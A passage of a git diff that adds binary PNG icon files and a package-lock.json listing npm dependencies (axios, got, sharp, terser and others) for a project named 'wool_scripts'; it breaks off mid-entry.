00000000..447b2ddb Binary files /dev/null and b/icons/softlyx/Mjj.png differ diff --git a/icons/softlyx/Moonlight.png b/icons/softlyx/Moonlight.png new file mode 100644 index 00000000..8bc167f4 Binary files /dev/null and b/icons/softlyx/Moonlight.png differ diff --git a/icons/softlyx/More.png b/icons/softlyx/More.png new file mode 100644 index 00000000..1a9ac253 Binary files /dev/null and b/icons/softlyx/More.png differ diff --git a/icons/softlyx/Mulgore.png b/icons/softlyx/Mulgore.png new file mode 100644 index 00000000..f4552a9a Binary files /dev/null and b/icons/softlyx/Mulgore.png differ diff --git a/icons/softlyx/Music.png b/icons/softlyx/Music.png new file mode 100644 index 00000000..998b16d0 Binary files /dev/null and b/icons/softlyx/Music.png differ diff --git a/icons/softlyx/NakoNako.png b/icons/softlyx/NakoNako.png new file mode 100644 index 00000000..68f9664b Binary files /dev/null and b/icons/softlyx/NakoNako.png differ diff --git a/icons/softlyx/Nas.png b/icons/softlyx/Nas.png new file mode 100644 index 00000000..744d993b Binary files /dev/null and b/icons/softlyx/Nas.png differ diff --git a/icons/softlyx/Nebula.png b/icons/softlyx/Nebula.png new file mode 100644 index 00000000..ddd69297 Binary files /dev/null and b/icons/softlyx/Nebula.png differ diff --git a/icons/softlyx/Nebula1.png b/icons/softlyx/Nebula1.png new file mode 100644 index 00000000..6fab2b98 Binary files /dev/null and b/icons/softlyx/Nebula1.png differ diff --git a/icons/softlyx/Nginx.png b/icons/softlyx/Nginx.png new file mode 100644 index 00000000..5229f196 Binary files /dev/null and b/icons/softlyx/Nginx.png differ diff --git a/icons/softlyx/Nijigen.png b/icons/softlyx/Nijigen.png new file mode 100644 index 00000000..84a38fbd Binary files /dev/null and b/icons/softlyx/Nijigen.png differ diff --git a/icons/softlyx/Nijigen1.png b/icons/softlyx/Nijigen1.png new file mode 100644 index 00000000..3ae228f9 Binary files /dev/null and b/icons/softlyx/Nijigen1.png differ diff --git a/icons/softlyx/Ninja.png b/icons/softlyx/Ninja.png new file mode 100644 index 00000000..8126a954 Binary files /dev/null and b/icons/softlyx/Ninja.png differ diff --git a/icons/softlyx/NmEmby.png b/icons/softlyx/NmEmby.png new file mode 100644 index 00000000..f6a7f78a Binary files /dev/null and b/icons/softlyx/NmEmby.png differ diff --git a/icons/softlyx/Nplayer.png b/icons/softlyx/Nplayer.png new file mode 100644 index 00000000..e0eca410 Binary files /dev/null and b/icons/softlyx/Nplayer.png differ diff --git a/icons/softlyx/Nya.png b/icons/softlyx/Nya.png new file mode 100644 index 00000000..04ee7f93 Binary files /dev/null and b/icons/softlyx/Nya.png differ diff --git a/icons/softlyx/O9o.png b/icons/softlyx/O9o.png new file mode 100644 index 00000000..374657a4 Binary files /dev/null and b/icons/softlyx/O9o.png differ diff --git a/icons/softlyx/O9o1.png b/icons/softlyx/O9o1.png new file mode 100644 index 00000000..a4e82dab Binary files /dev/null and b/icons/softlyx/O9o1.png differ diff --git a/icons/softlyx/Odyssey.png b/icons/softlyx/Odyssey.png new file mode 100644 index 00000000..56722f7a Binary files /dev/null and b/icons/softlyx/Odyssey.png differ diff --git a/icons/softlyx/Ofuniverse.png b/icons/softlyx/Ofuniverse.png new file mode 100644 index 00000000..2a0c2efc Binary files /dev/null and b/icons/softlyx/Ofuniverse.png differ diff --git a/icons/softlyx/OneDrive.png b/icons/softlyx/OneDrive.png new file mode 100644 index 00000000..ba7cf23e Binary files /dev/null and b/icons/softlyx/OneDrive.png differ diff --git a/icons/softlyx/OnlyFans.png b/icons/softlyx/OnlyFans.png new file mode 100644 index 00000000..f8294d53 Binary files /dev/null and b/icons/softlyx/OnlyFans.png differ diff --git a/icons/softlyx/Orange.png b/icons/softlyx/Orange.png new file mode 100644 index 00000000..9a7203d1 Binary files /dev/null and b/icons/softlyx/Orange.png differ diff --git a/icons/softlyx/Orange1.png b/icons/softlyx/Orange1.png new file mode 100644 index 00000000..04ab1bbd Binary files /dev/null and b/icons/softlyx/Orange1.png differ diff --git a/icons/softlyx/PaoChe.png b/icons/softlyx/PaoChe.png new file mode 100644 index 00000000..95df0a9a Binary files /dev/null and b/icons/softlyx/PaoChe.png differ diff --git a/icons/softlyx/PaoChe1.png b/icons/softlyx/PaoChe1.png new file mode 100644 index 00000000..f625f743 Binary files /dev/null and b/icons/softlyx/PaoChe1.png differ diff --git a/icons/softlyx/PaoLuLe.png b/icons/softlyx/PaoLuLe.png new file mode 100644 index 00000000..df1b0ffe Binary files /dev/null and b/icons/softlyx/PaoLuLe.png differ diff --git a/icons/softlyx/Paul.png b/icons/softlyx/Paul.png new file mode 100644 index 00000000..75adf776 Binary files /dev/null and b/icons/softlyx/Paul.png differ diff --git a/icons/softlyx/Peach.png b/icons/softlyx/Peach.png new file mode 100644 index 00000000..19fd452f Binary files /dev/null and b/icons/softlyx/Peach.png differ diff --git a/icons/softlyx/PikPak.png b/icons/softlyx/PikPak.png new file mode 100644 index 00000000..b74ce3bc Binary files /dev/null and b/icons/softlyx/PikPak.png differ diff --git a/icons/softlyx/PinYun.png b/icons/softlyx/PinYun.png new file mode 100644 index 00000000..67e30b4a Binary files /dev/null and b/icons/softlyx/PinYun.png differ diff --git a/icons/softlyx/Plex.png b/icons/softlyx/Plex.png new file mode 100644 index 00000000..44bb0191 Binary files /dev/null and b/icons/softlyx/Plex.png differ diff --git a/icons/softlyx/Plex1.png b/icons/softlyx/Plex1.png new file mode 100644 index 00000000..c7ac58b2 Binary files /dev/null and b/icons/softlyx/Plex1.png differ diff --git a/icons/softlyx/Plus.png b/icons/softlyx/Plus.png new file mode 100644 index 00000000..1abc32b7 Binary files /dev/null and b/icons/softlyx/Plus.png differ diff --git a/icons/softlyx/Plusemby.png b/icons/softlyx/Plusemby.png new file mode 100644 index 00000000..3d42612d Binary files /dev/null and b/icons/softlyx/Plusemby.png differ diff --git a/icons/softlyx/Polo.png b/icons/softlyx/Polo.png new file mode 100644 index 00000000..bcd4129c Binary files /dev/null and b/icons/softlyx/Polo.png differ diff --git a/icons/softlyx/Polo1.png b/icons/softlyx/Polo1.png new file mode 100644 index 00000000..fa091f7a Binary files /dev/null and b/icons/softlyx/Polo1.png differ diff --git a/icons/softlyx/PornEmby.png b/icons/softlyx/PornEmby.png new file mode 100644 index 00000000..1a0cde33 Binary files /dev/null and b/icons/softlyx/PornEmby.png differ diff --git a/icons/softlyx/Prpr.png b/icons/softlyx/Prpr.png new file mode 100644 index 00000000..9ff9f28d Binary files /dev/null and b/icons/softlyx/Prpr.png differ diff --git a/icons/softlyx/QqEmby.png b/icons/softlyx/QqEmby.png new file mode 100644 index 00000000..748e754e Binary files /dev/null and b/icons/softlyx/QqEmby.png differ diff --git a/icons/softlyx/Qunhui.png b/icons/softlyx/Qunhui.png new file mode 100644 index 00000000..f381f127 Binary files /dev/null and b/icons/softlyx/Qunhui.png differ diff --git a/icons/softlyx/Sana.png b/icons/softlyx/Sana.png new file mode 100644 index 00000000..88bd14e6 Binary files /dev/null and b/icons/softlyx/Sana.png differ diff --git a/icons/softlyx/Sela.png b/icons/softlyx/Sela.png new file mode 100644 index 00000000..312fee32 Binary files /dev/null and b/icons/softlyx/Sela.png differ diff --git a/icons/softlyx/Seoul.png b/icons/softlyx/Seoul.png new file mode 100644 index 00000000..75cbd9bc Binary files /dev/null and b/icons/softlyx/Seoul.png differ diff --git a/icons/softlyx/SeseEmby.png b/icons/softlyx/SeseEmby.png new file mode 100644 index 00000000..4a8f953d Binary files /dev/null and b/icons/softlyx/SeseEmby.png differ diff --git a/icons/softlyx/SeseEmby1.png b/icons/softlyx/SeseEmby1.png new file mode 100644 index 00000000..15c4b822 Binary files /dev/null and b/icons/softlyx/SeseEmby1.png differ diff --git a/icons/softlyx/ShenLan.png b/icons/softlyx/ShenLan.png new file mode 100644 index 00000000..32da8b88 Binary files /dev/null and b/icons/softlyx/ShenLan.png differ diff --git a/icons/softlyx/ShenLan1.png b/icons/softlyx/ShenLan1.png new file mode 100644 index 00000000..8b2d085a Binary files /dev/null and b/icons/softlyx/ShenLan1.png differ diff --git a/icons/softlyx/ShenNong.png b/icons/softlyx/ShenNong.png new file mode 100644 index 00000000..19559f97 Binary files /dev/null and b/icons/softlyx/ShenNong.png differ diff --git a/icons/softlyx/ShuiMu.png b/icons/softlyx/ShuiMu.png new file mode 100644 index 00000000..0d2e3903 Binary files /dev/null and b/icons/softlyx/ShuiMu.png differ diff --git a/icons/softlyx/ShuiMu1.png b/icons/softlyx/ShuiMu1.png new file mode 100644 index 00000000..8234ef2a Binary files /dev/null and b/icons/softlyx/ShuiMu1.png differ diff --git a/icons/softlyx/Singularity.png b/icons/softlyx/Singularity.png new file mode 100644 index 00000000..65b64bb9 Binary files /dev/null and b/icons/softlyx/Singularity.png differ diff --git a/icons/softlyx/StarCat.png b/icons/softlyx/StarCat.png new file mode 100644 index 00000000..7e529723 Binary files /dev/null and b/icons/softlyx/StarCat.png differ diff --git a/icons/softlyx/StudyFun.png b/icons/softlyx/StudyFun.png new file mode 100644 index 00000000..b927bc74 Binary files /dev/null and b/icons/softlyx/StudyFun.png differ diff --git a/icons/softlyx/StudyFun1.png b/icons/softlyx/StudyFun1.png new file mode 100644 index 00000000..c509c027 Binary files /dev/null and b/icons/softlyx/StudyFun1.png differ diff --git a/icons/softlyx/Tag.png b/icons/softlyx/Tag.png new file mode 100644 index 00000000..1f080e01 Binary files /dev/null and b/icons/softlyx/Tag.png differ diff --git a/icons/softlyx/Tank.png b/icons/softlyx/Tank.png new file mode 100644 index 00000000..9161d8a6 Binary files /dev/null and b/icons/softlyx/Tank.png differ diff --git a/icons/softlyx/Teka.png b/icons/softlyx/Teka.png new file mode 100644 index 00000000..f4b0ae93 Binary files /dev/null and b/icons/softlyx/Teka.png differ diff --git a/icons/softlyx/Temby.png b/icons/softlyx/Temby.png new file mode 100644 index 00000000..5e006cb6 Binary files /dev/null and b/icons/softlyx/Temby.png differ diff --git a/icons/softlyx/Temby1.png b/icons/softlyx/Temby1.png new file mode 100644 index 00000000..36f74dd3 Binary files /dev/null and b/icons/softlyx/Temby1.png differ diff --git a/icons/softlyx/Terminus.png b/icons/softlyx/Terminus.png new file mode 100644 index 00000000..e5563ef3 Binary files /dev/null and b/icons/softlyx/Terminus.png differ diff --git a/icons/softlyx/Texon.png b/icons/softlyx/Texon.png new file mode 100644 index 00000000..6447d712 Binary files /dev/null and b/icons/softlyx/Texon.png differ diff --git a/icons/softlyx/Tls.png b/icons/softlyx/Tls.png new file mode 100644 index 00000000..6e2ffe84 Binary files /dev/null and b/icons/softlyx/Tls.png differ diff --git a/icons/softlyx/TreeDiagram.png b/icons/softlyx/TreeDiagram.png new file mode 100644 index 00000000..c6dc202a Binary files /dev/null and b/icons/softlyx/TreeDiagram.png differ diff --git a/icons/softlyx/V6.png b/icons/softlyx/V6.png new file mode 100644 index 00000000..dd8c246e Binary files /dev/null and b/icons/softlyx/V6.png differ diff --git a/icons/softlyx/Video4lib.png b/icons/softlyx/Video4lib.png new file mode 100644 index 00000000..16707b52 Binary files /dev/null and b/icons/softlyx/Video4lib.png differ diff --git a/icons/softlyx/Viper.png b/icons/softlyx/Viper.png new file mode 100644 index 00000000..a4d018f0 Binary files /dev/null and b/icons/softlyx/Viper.png differ diff --git a/icons/softlyx/WangZhe.png b/icons/softlyx/WangZhe.png new file mode 100644 index 00000000..e22b26a3 Binary files /dev/null and b/icons/softlyx/WangZhe.png differ diff --git a/icons/softlyx/Webdav.png b/icons/softlyx/Webdav.png new file mode 100644 index 00000000..f8522bbc Binary files /dev/null and b/icons/softlyx/Webdav.png differ diff --git a/icons/softlyx/WeiWei.png b/icons/softlyx/WeiWei.png new file mode 100644 index 00000000..b1fca9db Binary files /dev/null and b/icons/softlyx/WeiWei.png differ diff --git a/icons/softlyx/XfEmby.png b/icons/softlyx/XfEmby.png new file mode 100644 index 00000000..a9930f6f Binary files /dev/null and b/icons/softlyx/XfEmby.png differ diff --git a/icons/softlyx/XfEmby1.png b/icons/softlyx/XfEmby1.png new file mode 100644 index 00000000..f47dae15 Binary files /dev/null and b/icons/softlyx/XfEmby1.png differ diff --git a/icons/softlyx/XiangGangLiShiJie.png b/icons/softlyx/XiangGangLiShiJie.png new file mode 100644 index 00000000..ae70b50a Binary files /dev/null and b/icons/softlyx/XiangGangLiShiJie.png differ diff --git a/icons/softlyx/Xiaoyi.png b/icons/softlyx/Xiaoyi.png new file mode 100644 index 00000000..398edd39 Binary files /dev/null and b/icons/softlyx/Xiaoyi.png differ diff --git a/icons/softlyx/Xltx.png b/icons/softlyx/Xltx.png new file mode 100644 index 00000000..1f3deacc Binary files /dev/null and b/icons/softlyx/Xltx.png differ diff --git a/icons/softlyx/Xmss.png b/icons/softlyx/Xmss.png new file mode 100644 index 00000000..20ff08e3 Binary files /dev/null and b/icons/softlyx/Xmss.png differ diff --git a/icons/softlyx/Xop.png b/icons/softlyx/Xop.png new file mode 100644 index 00000000..612e1457 Binary files /dev/null and b/icons/softlyx/Xop.png differ diff --git a/icons/softlyx/YeJiChang.png b/icons/softlyx/YeJiChang.png new file mode 100644 index 00000000..29c5151b Binary files /dev/null and b/icons/softlyx/YeJiChang.png differ diff --git a/icons/softlyx/YeJiFu.png b/icons/softlyx/YeJiFu.png new file mode 100644 index 00000000..b70a6041 Binary files /dev/null and b/icons/softlyx/YeJiFu.png differ diff --git a/icons/softlyx/ZhiPianRen.png b/icons/softlyx/ZhiPianRen.png new file mode 100644 index 00000000..1855144c Binary files /dev/null and b/icons/softlyx/ZhiPianRen.png differ diff --git a/icons/softlyx/ZhiPianRen1.png b/icons/softlyx/ZhiPianRen1.png new file mode 100644 index 00000000..36d9aa56 Binary files /dev/null and b/icons/softlyx/ZhiPianRen1.png differ diff --git a/icons/softlyx/ZhiPianRen2.png b/icons/softlyx/ZhiPianRen2.png new file mode 100644 index 00000000..603399e0 Binary files /dev/null and b/icons/softlyx/ZhiPianRen2.png differ diff --git a/icons/softlyx/Ziling.png b/icons/softlyx/Ziling.png new file mode 100644 index 00000000..ad613227 Binary files /dev/null and b/icons/softlyx/Ziling.png differ diff --git a/icons/softlyx/Zox.png b/icons/softlyx/Zox.png new file mode 100644 index 00000000..fe9e77cb Binary files /dev/null and b/icons/softlyx/Zox.png differ diff --git a/icons/texon/144.png b/icons/texon/144.png new file mode 100644 index 00000000..d041e583 Binary files /dev/null and b/icons/texon/144.png differ diff --git a/icons/texon/CadetBlue.png b/icons/texon/CadetBlue.png new file mode 100644 index 00000000..97f5fdab Binary files /dev/null and b/icons/texon/CadetBlue.png differ diff --git a/icons/texon/Crimson.png b/icons/texon/Crimson.png new file mode 100644 index 00000000..4526b285 Binary files /dev/null and b/icons/texon/Crimson.png differ diff --git a/icons/texon/Crocodile_with_glasses.png b/icons/texon/Crocodile_with_glasses.png new file mode 100644 index 00000000..57f4a3da Binary files /dev/null and b/icons/texon/Crocodile_with_glasses.png differ diff --git a/icons/texon/DarkGoldenRod.png b/icons/texon/DarkGoldenRod.png new file mode 100644 index 00000000..41534a83 Binary files /dev/null and b/icons/texon/DarkGoldenRod.png differ diff --git a/icons/texon/DarkOliveGreen.png b/icons/texon/DarkOliveGreen.png new file mode 100644 index 00000000..25204fc8 Binary files /dev/null and b/icons/texon/DarkOliveGreen.png differ diff --git a/icons/texon/DarkSlateBlue.png b/icons/texon/DarkSlateBlue.png new file mode 100644 index 00000000..fafadc10 Binary files /dev/null and b/icons/texon/DarkSlateBlue.png differ diff --git a/icons/texon/Gainsboro.png b/icons/texon/Gainsboro.png new file mode 100644 index 00000000..6252e1b2 Binary files /dev/null and b/icons/texon/Gainsboro.png differ diff --git a/icons/texon/PaleVioletRed.png b/icons/texon/PaleVioletRed.png new file mode 100644 index 00000000..741a03ed Binary files /dev/null and b/icons/texon/PaleVioletRed.png differ diff --git a/icons/texon/SlateGray.png b/icons/texon/SlateGray.png new file mode 100644 index 00000000..bd314ab0 Binary files /dev/null and b/icons/texon/SlateGray.png differ diff --git a/icons/texon/Tomato.png b/icons/texon/Tomato.png new file mode 100644 index 00000000..4e4dcdbf Binary files /dev/null and b/icons/texon/Tomato.png differ diff --git a/icons/texon/black_Crocodile.png b/icons/texon/black_Crocodile.png new file mode 100644 index 00000000..4f628081 Binary files /dev/null and b/icons/texon/black_Crocodile.png differ diff --git a/icons/texon/black_dinosaur.png b/icons/texon/black_dinosaur.png new file mode 100644 index 00000000..36a805a5 Binary files /dev/null and b/icons/texon/black_dinosaur.png differ diff --git a/icons/texon/texontv.png b/icons/texon/texontv.png new file mode 100644 index 00000000..f5486bcc Binary files /dev/null and b/icons/texon/texontv.png differ diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 00000000..af40ddf4 --- /dev/null +++ b/package-lock.json @@ -0,0 +1,1402 @@ +{ + "name": "wool_scripts", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "wool_scripts", + "version": "1.0.0", + "license": "ISC", + "dependencies": { + "adm-zip": "^0.5.10", + "axios": "^1.7.8", + "crypto-js": "^4.2.0", + "dotenv": "^16.3.2", + "got": "^14.0.0", + "https-proxy-agent": "^7.0.2", + "node-fetch": "^3.3.1", + "node-schedule": "^2.1.1", + "request": "^2.88.2", + "sharp": "^0.32.6", + "terser": "^5.26.0" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmmirror.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", + "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.5", + "resolved": "https://registry.npmmirror.com/@jridgewell/source-map/-/source-map-0.3.5.tgz", + "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmmirror.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.20", + "resolved": "https://registry.npmmirror.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.20.tgz", + "integrity": "sha512-R8LcPeWZol2zR8mmH3JeKQ6QRCFb7XgUhV9ZlGhHLGyg4wpPiPZNQOOWhFZhxKw8u//yTbNGI42Bx/3paXEQ+Q==", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@sindresorhus/is": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/@sindresorhus/is/-/is-6.1.0.tgz", + "integrity": "sha512-BuvU07zq3tQ/2SIgBsEuxKYDyDjC0n7Zir52bpHy2xnBbW81+po43aLFPLbeV3HRAheFbGud1qgcqSYfhtHMAg==", + "engines": { + "node": ">=16" + } + }, + "node_modules/@szmarczak/http-timer": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/@szmarczak/http-timer/-/http-timer-5.0.1.tgz", + "integrity": "sha512-+PmQX0PiAYPMeVYe237LJAYvOMYW1j2rH5YROyS3b4CTVJum34HfRvKvAzozHAQG0TnHNdUfY9nCeUyRAs//cw==", + "dependencies": { + "defer-to-connect": "^2.0.1" + }, + "engines": { + "node": ">=14.16" + } + }, + "node_modules/@types/http-cache-semantics": { + "version": "4.0.4", + "resolved": "https://registry.npmmirror.com/@types/http-cache-semantics/-/http-cache-semantics-4.0.4.tgz", + "integrity": "sha512-1m0bIFVc7eJWyve9S0RnuRgcQqF/Xd5QsUZAZeQFr1Q3/p9JWoQQEqmVy+DPTNpGXwhgIetAoYF8JSc33q29QA==" + }, + "node_modules/acorn": { + "version": "8.11.2", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.11.2.tgz", + "integrity": "sha512-nc0Axzp/0FILLEVsm4fNwLCwMttvhEI263QtVPQcbpfZZ3ts0hLsZGOpE6czNlid7CJ9MlyH8reXkpsf3YUY4w==", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/adm-zip": { + "version": "0.5.10", + "resolved": "https://registry.npmmirror.com/adm-zip/-/adm-zip-0.5.10.tgz", + "integrity": "sha512-x0HvcHqVJNTPk/Bw8JbLWlWoo6Wwnsug0fnYYro1HBrjxZ3G7/AZk7Ahv8JwDe1uIcz8eBqvu86FuF1POiG7vQ==", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/agent-base": { + "version": "7.1.0", + "resolved": "https://registry.npmmirror.com/agent-base/-/agent-base-7.1.0.tgz", + "integrity": "sha512-o/zjMZRhJxny7OyEF+Op8X+efiELC7k7yOjMzgfzVqOzXqkBkWI79YoTdOtsuWd5BWhAGAuOY/Xa6xpiaWXiNg==", + "dependencies": { + "debug": "^4.3.4" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "node_modules/asn1": { + "version": "0.2.6", + "resolved": "https://registry.npmmirror.com/asn1/-/asn1-0.2.6.tgz", + "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "node_modules/aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmmirror.com/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==", + "engines": { + "node": "*" + } + }, + "node_modules/aws4": { + "version": "1.12.0", + "resolved": "https://registry.npmmirror.com/aws4/-/aws4-1.12.0.tgz", + "integrity": "sha512-NmWvPnx0F1SfrQbYwOi7OeaNGokp9XhzNioJ/CSBs8Qa4vxug81mhJEAVZwxXuBmYB5KDRfMq/F3RR0BIU7sWg==" + }, + "node_modules/axios": { + "version": "1.7.8", + "resolved": "https://registry.npmmirror.com/axios/-/axios-1.7.8.tgz", + "integrity": "sha512-Uu0wb7KNqK2t5K+YQyVCLM76prD5sRFjKHbJYCP1J7JFGEQ6nN7HWn9+04LAeiJ3ji54lgS/gZCH1oxyrf1SPw==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.6", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/b4a": { + "version": "1.6.6", + "resolved": "https://registry.npmmirror.com/b4a/-/b4a-1.6.6.tgz", + "integrity": "sha512-5Tk1HLk6b6ctmjIkAcU/Ujv/1WqiDl0F0JdRCR80VsOcUlHcu7pWeWRlOqQLHfDEsVx9YH/aif5AG4ehoCtTmg==" + }, + "node_modules/bare-events": { + "version": "2.4.2", + "resolved": "https://registry.npmmirror.com/bare-events/-/bare-events-2.4.2.tgz", + "integrity": "sha512-qMKFd2qG/36aA4GwvKq8MxnPgCQAmBWmSyLWsJcbn8v03wvIPQ/hG1Ms8bPzndZxMDoHpxez5VOS+gC9Yi24/Q==", + "optional": true + }, + "node_modules/bare-fs": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/bare-fs/-/bare-fs-2.3.1.tgz", + "integrity": "sha512-W/Hfxc/6VehXlsgFtbB5B4xFcsCl+pAh30cYhoFyXErf6oGrwjh8SwiPAdHgpmWonKuYpZgGywN0SXt7dgsADA==", + "optional": true, + "dependencies": { + "bare-events": "^2.0.0", + "bare-path": "^2.0.0", + "bare-stream": "^2.0.0" + } + }, + "node_modules/bare-os": { + "version": "2.4.0", + "resolved": "https://registry.npmmirror.com/bare-os/-/bare-os-2.4.0.tgz", + "integrity": "sha512-v8DTT08AS/G0F9xrhyLtepoo9EJBJ85FRSMbu1pQUlAf6A8T0tEEQGMVObWeqpjhSPXsE0VGlluFBJu2fdoTNg==", + "optional": true + }, + "node_modules/bare-path": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/bare-path/-/bare-path-2.1.3.tgz", + "integrity": "sha512-lh/eITfU8hrj9Ru5quUp0Io1kJWIk1bTjzo7JH1P5dWmQ2EL4hFUlfI8FonAhSlgIfhn63p84CDY/x+PisgcXA==", + "optional": true, + "dependencies": { + "bare-os": "^2.1.0" + } + }, + "node_modules/bare-stream": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/bare-stream/-/bare-stream-2.1.3.tgz", + "integrity": "sha512-tiDAH9H/kP+tvNO5sczyn9ZAA7utrSMobyDchsnyyXBuUe2FSQWbxhtuHB8jwpHYYevVo2UJpcmvvjrbHboUUQ==", + "optional": true, + "dependencies": { + "streamx": "^2.18.0" + } + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" + }, + "node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/bl": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/bl/-/bl-4.1.0.tgz", + "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", + "dependencies": { + "buffer": "^5.5.0", + "inherits": "^2.0.4", + "readable-stream": "^3.4.0" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "node_modules/cacheable-lookup": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/cacheable-lookup/-/cacheable-lookup-7.0.0.tgz", + "integrity": "sha512-+qJyx4xiKra8mZrcwhjMRMUhD5NR1R8esPkzIYxX96JiecFoxAXFuz/GpR3+ev4PE1WamHip78wV0vcmPQtp8w==", + "engines": { + "node": ">=14.16" + } + }, + "node_modules/cacheable-request": { + "version": "10.2.14", + "resolved": "https://registry.npmmirror.com/cacheable-request/-/cacheable-request-10.2.14.tgz", + "integrity": 